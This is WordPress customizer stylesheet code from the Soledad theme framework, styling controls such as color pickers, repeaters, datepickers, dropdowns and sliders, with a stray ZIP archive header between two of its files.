#accordion-panel-soledad_fw_global_panel > .accordion-section-title, #accordion-panel-soledad_fw_header > .accordion-section-title, #accordion-panel-soledad_fw_footer > .accordion-section-title, #accordion-panel-soledad_fw_single_post_panel > .accordion-section-title, #accordion-section-soledad_fw_social_like_section > .accordion-section-title, #accordion-section-soledad_fw_review_section > .accordion-section-title, #accordion-panel-soledad_fw_category_panel > .accordion-section-title, #accordion-panel-soledad_fw_archive > .accordion-section-title, #accordion-section-soledad_fw_mobile_option_section > .accordion-section-title, #accordion-panel-soledad_fw_font > .accordion-section-title, #accordion-section-soledad_fw_social_icon_section > .accordion-section-title, #accordion-panel-soledad_fw_disable_panel > .accordion-section-title {
    padding-left: 0;
    padding-right: 40px;
}

#accordion-panel-soledad_fw_global_panel > .accordion-section-title::before, #accordion-panel-soledad_fw_header > .accordion-section-title::before, #accordion-panel-soledad_fw_footer > .accordion-section-title::before, #accordion-panel-soledad_fw_single_post_panel > .accordion-section-title::before, #accordion-section-soledad_fw_social_like_section > .accordion-section-title::before, #accordion-section-soledad_fw_review_section > .accordion-section-title::before, #accordion-panel-soledad_fw_category_panel > .accordion-section-title::before, #accordion-panel-soledad_fw_archive > .accordion-section-title::before, #accordion-section-soledad_fw_mobile_option_section > .accordion-section-title::before, #accordion-panel-soledad_fw_font > .accordion-section-title::before, #accordion-section-soledad_fw_social_icon_section > .accordion-section-title::before, #accordion-panel-soledad_fw_disable_panel > .accordion-section-title::before {
    right: 0;
    left: auto;
}
PK     N\U`  `  2  inc/customizer/framework/assets/css/customizer.cssnu [        #customize-preview.is-soledad-fw-editor-open {
	height: calc(100% - 301px);
}
.customize-control-soledad .description {
	font-style: normal;
	font-weight: 300;
	font-size: .9em;
}
h2.customize-control-title:focus {
	background: #0f69ff;
	animation-name: title-focus;
	animation-duration: 1s;
	margin-left: -20px;
	margin-right: -20px;
	padding-left: 20px;
	padding-right: 20px;
}
@keyframes title-focus {
	from {
		background-color: #03087d;
	}
	to {
		background-color: #0f69ff;
	}
}
.customize-control input[type="tel"],
.customize-control input[type="url"],
.customize-control input[type="text"],
.customize-control input[type="password"],
.customize-control input[type="email"],
.customize-control input[type="number"],
.customize-control input[type="search"] {
	border: 1px solid #d4d4d4;
	background-image: none;
	background-position: 0% 0%;
	background-repeat: repeat;
	padding: 6px 12px;
	line-height: 18px;
	box-shadow: none;
}
.wp-full-overlay.expanded #customize-footer-actions .soledad-fw-footer-thanks {
	position: fixed;
	bottom: 8px;
	left: 150px;
	padding: 0;
	width: 90px;
	height: 25px;
	background-image: url("../images/soledad-fw-bottom.png");
	background-repeat: no-repeat;
	background-position: center center;
}
.soledad-fw-reset-section {
	position: absolute;
	top: 10px;
	right: 10px;
	background: #BDBDBD;
	opacity: .5;
	color: #fff;
	font-size: .8rem;
	border-radius: 3px;
	padding: 0 5px;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	-ms-transition: all .2s ease-in-out;
	-o-transition: all .2s ease-in-out;
	transition: all .2s ease-in-out;
	font-weight: bold;
}
.soledad-fw-reset-section .dashicons {
	font-size: .8rem;
	width: .8rem;
	height: .8rem;
	line-height: .8rem;
	vertical-align: baseline;
}
.soledad-fw-reset-section:hover,
.soledad-fw-reset-section:active {
	background: #F44336;
	color: #fff;
	font-weight: bold;
	opacity: 1;
}
.soledad-fw-reset-section:focus {
	opacity: 1;
	-webkit-box-shadow: 0 0 0 1px #F44336, 0 0 2px 1px rgba(200, 50, 30, 0.8);
	box-shadow: 0 0 0 1px #F44336, 0 0 2px 1px rgba(200, 50, 30, 0.8);
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content {
	position: relative;
	left: 0;
	display: block !important;
	margin-top: 0 !important;
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content .accordion-section-title {
	margin-left: 0;
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content > li.customize-info {
	margin-bottom: 0;
	border-top: none;
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content > li.customize-info .accordion-section-title {
	border-bottom: none !important;
}
#customize-theme-controls .control-section.control-section-soledad-fw-expanded > ul.accordion-section-content {
	position: relative;
	left: 0;
	display: block;
	margin-top: 0 !important;
}
#customize-theme-controls .control-section.control-section-soledad-fw-hover:hover:not(.open) > ul.accordion-section-content,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:focus:not(.open) > ul.accordion-section-content,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:active:not(.open) > ul.accordion-section-content {
	position: fixed;
	left: 300px;
	width: 300px;
	background: #eee;
	display: block;
	height: 100%;
	max-height: 100vh;
	overflow-y: scroll;
}
#customize-theme-controls .control-section.control-section-soledad-fw-hover:hover:not(.open) .customize-section-title,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:focus:not(.open) .customize-section-title,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:active:not(.open) .customize-section-title {
	display: none;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"],
.customize-control-soledad-fw-multicheck input[type="checkbox"],
.customize-control-soledad-fw-repeater input[type="checkbox"] {
	position: relative;
	margin: 0 1rem 0 0;
	cursor: pointer;
	margin-bottom: 5px;
	width: 22px;
	height: 22px;
	border-radius: 3px;
	-webkit-border-radius: 3px;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:before,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:before,
.customize-control-soledad-fw-repeater input[type="checkbox"]:before {
	content: "";
	position: absolute;
	left: 0;
	z-index: 1;
	width: 100%;
	height: 100%;
	border: none;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:after,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:after,
.customize-control-soledad-fw-repeater input[type="checkbox"]:after {
	content: "";
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	background: #f2f2f2;
	cursor: pointer;
	border-radius: 3px;
	-webkit-border-radius: 3px;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:checked:before,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:checked:before,
.customize-control-soledad-fw-repeater input[type="checkbox"]:checked:before {
	content: "\f147";
	font-family: dashicons;
	font-size: 25px;
	left: 0;
	top: 2px;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:checked:after,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:checked:after,
.customize-control-soledad-fw-repeater input[type="checkbox"]:checked:after {
	background: #fff;
}
.wp-color-result {
	border-radius: 0;
	margin-right: 0;
	-webkit-box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
}
.wp-picker-container, .wp-picker-container:active {
	display: block;
}
.customize-control .wp-picker-open + .wp-picker-input-wrap {
	display: flex;
	justify-content: space-between;
}
.customize-control .wp-picker-container input[type=text].wp-color-picker {
	padding: 3px 5px;
	width: 100%;
}
.customize-control .wp-picker-container .wp-color-result {
	width: 100%;
}
.customize-control .wp-picker-container .button,
.customize-control .wp-color-result-text {
	transform: none !important;
	box-shadow: none;
	border-radius: 0;
}
.customize-control-soledad-fw-color .wp-picker-container .wp-color-result.button {
	padding-left: 40px;
}
.customize-control-soledad-fw-color .wp-picker-input-wrap label {
	width: 60%;
}
.customize-control-soledad-fw-color .wp-picker-input-wrap .button,
.customize-control-soledad-fw-color .wp-customizer .wp-picker-input-wrap .button {
	width: calc(40% - 6px);
}
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result {
	width: auto;
	display: block;
	border: none;
	padding-left: 40px;
}
.customize-control-soledad-fw-color .wp-picker-container .color-alpha {
	width: 40px !important;
	top: 0 !important;
}
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result:after {
	background: rgba(0, 0, 0, 0.25);
	color: #fff;
	border: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result:focus:after,
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result:hover:after {
	color: #fff;
}
#soledad_fw_editor_pane {
	background: #fff;
	z-index: 1;
	padding-top: 5px;
	border-top: 1px solid #dedede;
	position: absolute;
	bottom: 0;
	width: 100%;
	-webkit-transition: bottom .2s;
	-moz-transition: bottom .2s;
	-ms-transition: bottom .2s;
	-o-transition: bottom .2s;
	transition: bottom .2s;
}
#soledad_fw_editor_pane.hide {
	bottom: -301px;
	z-index: -999;
}
.mce-container.mce-panel.mce-floatpanel.mce-window.mce-in {
	z-index: 99999999 !important;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper {
	display: flex;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .multicolor-single-color-wrapper {
	width: 100%;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .multicolor-single-color-wrapper label {
	display: block;
	text-align: center;
	padding: 3px;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container {
	width: 100%;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container a.wp-color-result {
	width: 100%;
	height: 30px;
	padding-left: 0;
	border-radius: 0;
	border: none;
	margin-right: 0;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container a.wp-color-result > span {
	border-top-left-radius: 0 !important;
	border-bottom-left-radius: 0 !important;
	border-top-right-radius: 0 !important;
	border-bottom-right-radius: 0 !important;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container a.wp-color-result:after {
	display: none;
}
.customize-control-soledad-fw-color-palette label {
	position: relative;
	display: inline-block;
	padding: 2px 0;
}
.customize-control-soledad-fw-color-palette .color-palette-color {
	color: transparent;
	display: block;
	width: 42px;
	height: 42px;
	overflow: hidden;
	border-radius: 50%;
	-webkit-box-shadow: inset 3px 3px 13px 2px rgba(0, 0, 0, 0.22);
	box-shadow: inset 3px 3px 13px 2px rgba(0, 0, 0, 0.22);
	border: 1px solid rgba(0, 0, 0, 0.2);
}
.customize-control-soledad-fw-color-palette .colors-wrapper {
	max-height: 300px;
	overflow-y: auto;
	padding: 10px;
}
.customize-control-soledad-fw-color-palette .colors-wrapper input {
	display: none;
}
.customize-control-soledad-fw-color-palette .colors-wrapper input:checked + label .color-palette-color {
	-webkit-box-shadow: 1px 1px 10px 1px #333333;
	box-shadow: 1px 1px 10px 1px #333333;
	border: 1px solid rgba(0, 0, 0, 0.3);
}
.wp-customizer div.ui-datepicker {
	z-index: 500001 !important;
	width: 255px;
	background: #fff;
	border: 1px solid #dedede;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header {
	padding: 10px;
	background: #e5e5e5;
	border-bottom: 1px solid #fff;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev {
	display: block;
	position: absolute;
	width: 1em;
	overflow: hidden;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:after,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:before,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:after,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:before {
	font-family: dashicons;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:after:hover,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:before:hover,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:after:hover,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:before:hover {
	cursor: pointer;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next .ui-icon,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev .ui-icon {
	display: none;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev {
	left: 10px;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:before {
	content: "\f341";
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next {
	right: 10px;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:after {
	content: "\f345";
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-title {
	text-align: center;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar {
	border-collapse: collapse;
	width: 100%;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar thead {
	background: #e5e5e5;
	padding: 5px;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td {
	text-align: center;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td a {
	display: block;
	padding: 5px;
	color: #333;
	text-decoration: none;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td a.ui-state-active,
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td a:hover {
	color: #fff;
	background-color: #0073aa;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td.ui-state-disabled a,
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td.ui-state-disabled .ui-state-default a {
	color: #999;
}
.customize-control-soledad-fw-dashicons label {
	position: relative;
	display: inline-block;
}
.customize-control-soledad-fw-dashicons .icons-wrapper {
	max-height: 300px;
	overflow-y: scroll;
}
.customize-control-soledad-fw-dashicons .icons-wrapper h4 {
	font-weight: 300;
	margin: 0.7em 0;
}
.customize-control-soledad-fw-dashicons .icons-wrapper .dashicons {
	padding: 3px;
	font-size: 25px;
	width: 25px;
	height: 25px;
	border: 1px solid transparent;
}
.customize-control-soledad-fw-dashicons .icons-wrapper input {
	display: none;
}
.customize-control-soledad-fw-dashicons .icons-wrapper input:checked + label .dashicons {
	border: 1px solid #3498DB;
	color: #000;
}
.customize-control-soledad-fw-dimension .input-wrapper .invalid-value {
	display: none;
	background: #D32F2F;
	font-size: 0.85em;
	color: #fff;
	float: left;
	padding: 2px 0;
	border-radius: 3px;
}
.customize-control-soledad-fw-dimension .input-wrapper.invalid .invalid-value {
	display: block;
	width: 98%;
	text-align: center;
}
.customize-control-soledad-fw-dimension .input-wrapper.invalid input[type="text"]:focus {
	border-color: #D32F2F;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content {
	position: relative;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button {
	position: absolute;
	right: 0;
	color: #aaa;
	border: none;
	padding: 0 5px;
	width: 20px;
	height: calc(50% + 0.5em);
	border-radius: 0;
	-webkit-border-radius: 0;
	box-shadow: none;
	-webkit-box-shadow: none;
	margin: 0;
	text-align: center;
	border-left: 1px solid #e0e0e0;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button .ui-button-text {
	display: none;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-down:before,
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-up:before {
	font-family: dashicons;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-up {
	top: -50%;
	border-bottom: 1px solid #e0e0e0;
	padding-bottom: 1px;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-up:before {
	content: "\f343";
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-down {
	top: 50%;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-down:before {
	content: "\f347";
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button:hover {
	color: inherit;
}
.customize-control-soledad-fw-palette input[type="radio"] {
	display: none;
}
.customize-control-soledad-fw-palette input[type="radio"]:checked + label {
	border: 3px solid rgba(0, 0, 0, 0.4);
}
.customize-control-soledad-fw-palette label {
	background: none;
	padding: 0;
	border-top: 3px solid transparent;
	border-bottom: 3px solid transparent;
	margin-bottom: 5px;
	display: flex;
}
.customize-control-soledad-fw-palette label span {
	padding: 10px 0;
	flex-grow: 1;
	font-size: 0;
	line-height: 10px;
	color: transparent;
	-webkit-transition: all 200ms ease-in-out;
	-moz-transition: all 200ms ease-in-out;
	-ms-transition: all 200ms ease-in-out;
	-o-transition: all 200ms ease-in-out;
	transition: all 200ms ease-in-out;
	border-top: 1px solid rgba(0, 0, 0, 0.1);
	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
}
.customize-control-soledad-fw-palette label span:first-child {
	border-left: 1px solid rgba(0, 0, 0, 0.1);
}
.customize-control-soledad-fw-palette label span:last-child {
	border-right: 1px solid rgba(0, 0, 0, 0.1);
}
.customize-control-soledad-fw-palette label span:hover {
	padding: 10px;
	flex-grow: 3;
	min-width: 60px;
	font-size: 10px;
	line-height: 10px;
	color: #000;
}
.customize-control-soledad-fw-radio input[type=radio] {
	width: 18px;
	height: 18px;
}
.customize-control-soledad-fw-radio input[type=radio]:checked:before {
	width: 10px;
	height: 10px;
	margin: 3px;
}
.customize-control-soledad-fw-radio label {
	display: list-item;
	margin-bottom: 7px;
}
.customize-control-soledad-fw-radio .customize-inside-control-row label {
	display: inline;
	vertical-align: top;
}
.customize-control-soledad-fw-radio label .option-description {
	display: block;
	color: rgba(0, 0, 0, 0.35);
	font-size: 0.9em;
	padding-left: 25px;
}
.customize-control-soledad-fw-radio-buttonset .buttonset {
	margin-top: 15px;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-label {
	background: #ebebeb;
	color: #666;
	border: 1px solid rgba(0, 0, 0, 0.1);
	padding: 6px 12px;
	margin: 0;
	font-size: 12px;
	margin-right: 4px;
	border-radius: 2px;
	text-shadow: 0 1px 0 #fff;
	display: inline-block;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-label:last-child {
	margin-right: 0;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-input {
	display: none;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-input:checked + .switch-label {
	background-color: #0f69ff;
	color: #fff;
	text-shadow: 0 1px 1px #3d6fc3;
}
.customize-control-soledad-fw-radio-image label {
	position: relative;
	display: inline-block;
}
.customize-control-soledad-fw-radio-image .image label {
	padding: 3px;
	margin: 4px 2px;
	box-sizing: border-box;
	border: 3px solid #ddd;
}
.customize-control-soledad-fw-radio-image input:checked + label {
	-webkit-box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	border-color: #3498DB;
}
.customize-control-soledad-fw-radio-image input {
	display: none;
}
.customize-control-soledad-fw-radio-image input img {
	border: 1px solid transparent;
}
.customize-control-soledad-fw-radio-image input + label img {
	display: block;
}
.customize-control-soledad-fw-radio-image input + label .image-clickable {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	width: 100%;
	height: 100%;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row {
	border: 1px solid #ddd;
	margin-top: 0.5rem;
	position: relative;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row.minimized {
	background: #f5f5f5;
	padding: 0;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row.minimized:hover {
	background: #fbfbfb;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row.minimized .repeater-row-content {
	display: none;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row label {
	margin-bottom: 12px;
	clear: both;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field- {
	display: none;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field-radio-image input {
	display: none;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field-radio-image input img {
	border: 1px solid transparent;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field-radio-image input:checked + label img {
	-webkit-box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	border: 1px solid #3498DB;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field:last-child {
	border-bottom: none;
	padding-bottom: 0;
}
.customize-control-soledad-fw-repeater .repeater-add-wrapper {
	padding: 8px;
	margin-top: 10px;
	text-align: center;
	border: 1px dashed #e0e0e0;
}
.customize-control-soledad-fw-repeater .repeater-add-wrapper .repeater-add {
	width: 100px;
}
.customize-control-soledad-fw-repeater .repeater-row-content {
	padding: 12px 15px;
}
.customize-control-soledad-fw-repeater .repeater-field {
	margin-bottom: 12px;
	width: 100%;
	clear: both;
}
.customize-control-soledad-fw-repeater .repeater-field .customize-control-title {
	font-size: 13px;
	line-height: initial;
	margin-bottom: 0.5em;
}
.customize-control-soledad-fw-repeater .repeater-field .customize-control-description {
	font-size: 13px;
	line-height: initial;
}
.customize-control-soledad-fw-repeater .repeater-field.repeater-field-hidden {
	margin: 0;
	padding: 0;
	border: 0;
}
.customize-control-soledad-fw-repeater .repeater-field-checkbox label {
	line-height: 28px;
}
.customize-control-soledad-fw-repeater .repeater-field-checkbox input {
	line-height: 28px;
	margin-right: 5px;
}
.customize-control-soledad-fw-repeater .repeater-field-textarea textarea {
	width: 100%;
	resize: vertical;
}
.customize-control-soledad-fw-repeater .repeater-row-header {
	border-bottom: 1px solid #e0e0e0;
	position: relative;
	padding: 10px 15px 10px 35px;
	height: auto;
	min-height: 20px;
	line-height: 30px;
	overflow: hidden;
	word-wrap: break-word;
}
.customize-control-soledad-fw-repeater .repeater-row-header:hover {
	cursor: move;
}
.customize-control-soledad-fw-repeater .repeater-row-header .dashicons {
	font-size: 18px;
	position: absolute;
	right: 12px;
	top: 2px;
	color: #a0a5aa;
}
.customize-control-soledad-fw-repeater .repeater-row-label {
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	display: block;
	text-transform: capitalize;
	width: 90%;
	overflow: hidden;
	height: 18px;
}
.customize-control-soledad-fw-repeater .repeater-row-remove {
	color: #a00;
}
.customize-control-soledad-fw-repeater .repeater-row-remove:hover {
	color: #f00;
}
.customize-control-soledad-fw-repeater .repeater-minimize {
	line-height: 36px;
}
.customize-control-soledad-fw-repeater .remove-button,
.customize-control-soledad-fw-repeater .upload-button {
	width: 48%;
}
.soledad-fw-image-attachment {
	margin: 0;
	text-align: center;
	margin-bottom: 10px;
}
.soledad-fw-image-attachment img {
	display: inline-block;
}
.soledad-fw-file-attachment {
	margin: 0;
	text-align: center;
	margin-bottom: 10px;
}
.soledad-fw-file-attachment .file {
	display: block;
	padding: 10px 5px;
	border: 1px dotted #c3c3c3;
	background: #f9f9f9;
}
.limit {
	padding: 3px;
	border-radius: 3px;
}
.limit.highlight {
	background: #D32F2F;
	color: #fff;
}
.selectize-control {
	position: relative;
}
.selectize-input {
	border-color: #d4d4d4;
	border-radius: 0;
	padding: 6px 12px;
	box-shadow: none;
}
.selectize-input.focus {
	box-shadow: none;
	border-color: #d4d4d4;
}
.selectize-control.single .selectize-input, .selectize-dropdown, .selectize-dropdown.single {
	border-color: #d4d4d4;
	border-radius: 0;
}
.customize-control .selectize-control.single .selectize-input {
	border-color: #d4d4d4;
	background: #fff;
	box-shadow: none;
	padding-right: 30px;
}
.selectize-control.single .selectize-input:after {
	font-family: dashicons;
	content: "\f347";
	color: #aaa;
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	margin-top: 0;
	width: 30px;
	height: 36px;
	line-height: 36px;
	text-align: center;
	padding: 0;
	border: 0;
	border-left: 1px solid #e0e0e0;
}
.selectize-control.single .selectize-input.dropdown-active:after {
	content: "\f343";
	margin-top: -1px;
	border: 0;
	border-left: 1px solid #e0e0e0;
}
.selectize-dropdown {
	position: relative;
	top: -3px !important;
}
.selectize-dropdown .active {
	background: #e5efff !important;
}
.selectize-dropdown-content .selected {
	background: #f5f5f5 !important;
	color: #aaa !important;
}
.selectize-control.multi .selectize-input.has-items {
	padding: 1px 4px 4px;
}
.selectize-control.multi .selectize-input [data-value] {
	font-size: 12px;
	line-height: 16px;
	background: #0f69ff !important;
	border-radius: 2px;
	border: 1px solid rgba(0, 0, 0, 0.1);
	box-shadow: none !important;
	margin: 4px 4px 0 0;
}
.selectize-control.plugin-remove_button [data-value] .remove {
	background: rgba(0, 0, 0, 0.1);
	border-left: 0 !important;
}
/* fix dropdown overlap */
#customize-theme-controls .customize-pane-child.accordion-section-content {
	min-height: 100%;
}
.customize-control select {
	width: 100%;
	font-family: inherit;
	font-size: 13px;
	border-color: #d4d4d4;
	padding: 0 12px;
	height: 32px;
	margin: 0;
	-webkit-appearance: none;
	background: url(data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgd2lkdGg9IjE2cHgiIGhlaWdodD0iMTZweCIgdmlld0JveD0iMCAwIDMwNiAzMDYiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDMwNiAzMDY7IiB4bWw6c3BhY2U9InByZXNlcnZlIj4KPGc+Cgk8ZyBpZD0iZXhwYW5kLW1vcmUiPgoJCTxwb2x5Z29uIHBvaW50cz0iMjcwLjMsNTguNjUgMTUzLDE3NS45NSAzNS43LDU4LjY1IDAsOTQuMzUgMTUzLDI0Ny4zNSAzMDYsOTQuMzUgICAiIGZpbGw9IiNhYWFhYWEiLz4KCTwvZz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8Zz4KPC9nPgo8L3N2Zz4K) no-repeat 96% 50%;
	background-size: 10px;
	box-shadow: none;
}
.customize-control-soledad-fw-gradient input[type=range],
.customize-control-soledad-fw-slider input[type=range] {
	-webkit-appearance: none;
	-webkit-transition: background 0.3s;
	-moz-transition: background 0.3s;
	transition: background 0.3s;
	background-color: rgba(0, 0, 0, 0.1);
	height: 5px;
	width: calc(100% - 100px);
	padding: 0;
}
.customize-control-soledad-fw-gradient input[type=range]:focus,
.customize-control-soledad-fw-slider input[type=range]:focus {
	box-shadow: none;
	outline: none;
}
.customize-control-soledad-fw-gradient input[type=range]:focus,
.customize-control-soledad-fw-slider input[type=range]:hover {
	background-color: rgba(0, 0, 0, 0.25);
}
.customize-control-soledad-fw-gradient input[type=range]::-webkit-slider-thumb,
.customize-control-soledad-fw-slider input[type=range]::-webkit-slider-thumb {
	-webkit-appearance: none;
	width: 15px;
	height: 15px;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-webkit-slider-thumb,
.customize-control-soledad-fw-slider input[type=range]::-webkit-slider-thumb {
	-webkit-appearance: none;
	width: 15px;
	height: 15px;
	border: none;
	border-radius: 50%;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-moz-range-thumb,
.customize-control-soledad-fw-slider input[type=range]::-moz-range-thumb {
	width: 15px;
	height: 15px;
	border: none;
	border-radius: 50%;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-thumb,
.customize-control-soledad-fw-slider input[type=range]::-ms-thumb {
	width: 15px;
	height: 15px;
	border-radius: 50%;
	border: 0;
	background-color: #3498D9;
}
.customize-control-soledad-fw-gradient input[type=range]::-moz-range-track,
.customize-control-soledad-fw-slider input[type=range]::-moz-range-track {
	border: inherit;
	background: transparent;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-track,
.customize-control-soledad-fw-slider input[type=range]::-ms-track {
	border: inherit;
	color: transparent;
	background: transparent;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-fill-lower,
.customize-control-soledad-fw-gradient input[type=range]::-ms-fill-upper,
.customize-control-soledad-fw-slider input[type=range]::-ms-fill-lower,
.customize-control-soledad-fw-slider input[type=range]::-ms-fill-upper {
	background: transparent;
}
.customize-control-soledad-fw-gradient input[type=range]::-ms-tooltip,
.customize-control-soledad-fw-slider input[type=range]::-ms-tooltip {
	display: none;
}
.customize-control-soledad-fw-gradient .soledad_fw_range_value,
.customize-control-soledad-fw-slider .soledad_fw_range_value {
	display: inline-block;
	font-size: 14px;
	padding: 0 5px;
	font-weight: 400;
	position: relative;
	top: 2px;
}
.customize-control-soledad-fw-gradient .soledad-fw-slider-reset,
.customize-control-soledad-fw-slider .soledad-fw-slider-reset {
	color: rgba(0, 0, 0, 0.2);
	float: right;
	-webkit-transition: color 0.5s ease-in;
	-moz-transition: color 0.5s ease-in;
	-ms-transition: color 0.5s ease-in;
	-o-transition: color 0.5s ease-in;
	transition: color 0.5s ease-in;
}
